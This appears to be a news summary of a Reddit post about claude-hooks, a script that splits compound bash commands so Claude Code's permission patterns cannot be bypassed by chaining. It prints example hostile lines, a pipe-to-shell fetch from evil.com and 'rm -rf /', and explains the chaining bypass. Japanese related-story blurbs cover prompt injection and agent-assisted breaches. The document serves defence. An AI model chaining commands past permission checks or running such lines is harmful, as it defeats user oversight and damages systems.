Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

Security Gap in Claude Code's Permission System
Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.
The Solution: claude-hooks
The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:
- Decomposes compound commands by splitting on
&&,||,;,|, newlines, and extracts$()and backtick subshell contents recursively - Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
- Checks each sub-command individually against your existing
permissions.allowandpermissions.denypatterns - Deny wins — if any sub-command matches a deny pattern, the whole command is denied
- All must allow — auto-approve only happens when every sub-command matches an allow pattern
- Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Setup Instructions
Installation takes about 30 seconds:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdd to ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.
Example Behavior
git status: Allowed both with and without hookgit add . && git commit -m "msg": Allowed both with and without hook (both matchgit *)git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf /has no allow)`npm test | tee output.log`: AllowedFOO=bar git push: Might not match without hook, allowed with hook (env var stripped)
The repository is available at https://github.com/liberzon/claude-hooks under MIT license.
📖 Read the full source: r/ClaudeAI
👀 See Also

潜在的なClaudeセキュリティインシデント:自己送信パスワードアラートと不審な.NETプロセス
ユーザーがClaudeにログイン後、自身のアカウントから送信されたように見える不審なパスワードリセット通知を受け取ったと報告。数分後にメールが消失し、異常な.NETプロセスがシステムシャットダウンを妨げた。

オープンクロー・セキュリティ侵害:42,000インスタンスが公開
OpenClawは、42,000のインスタンスが露出し、341の悪意のあるスキルが発見された重大なセキュリティ侵害を経験しました。迅速な対応として、ClaudeエージェントをラップするセキュリティプロキシであるAgentVaultが作成されました。

オーディオレイヤー即時注入攻撃に対するクロード:トランスクリプトにないもの
プロンプトインジェクション検出APIを構築した開発者が、Claudeに対するオーディオレイヤー攻撃に関する発見を共有。信号(文字起こしではない)に埋め込まれた攻撃はログに残らず、音声エージェントに現実的な脅威をもたらす。

AIエージェントが個人ハッカーによる政府侵入とランサムウェア攻撃を可能にする
Claude CodeとChatGPTを使用した単独のオペレーターがメキシコ政府機関から150GBのデータを流出させ、その中には1億9500万件の納税者記録が含まれていた。別の攻撃者はClaude Codeを使用して、17の医療機関や緊急サービス組織に対する完全な恐喝キャンペーンを実行した。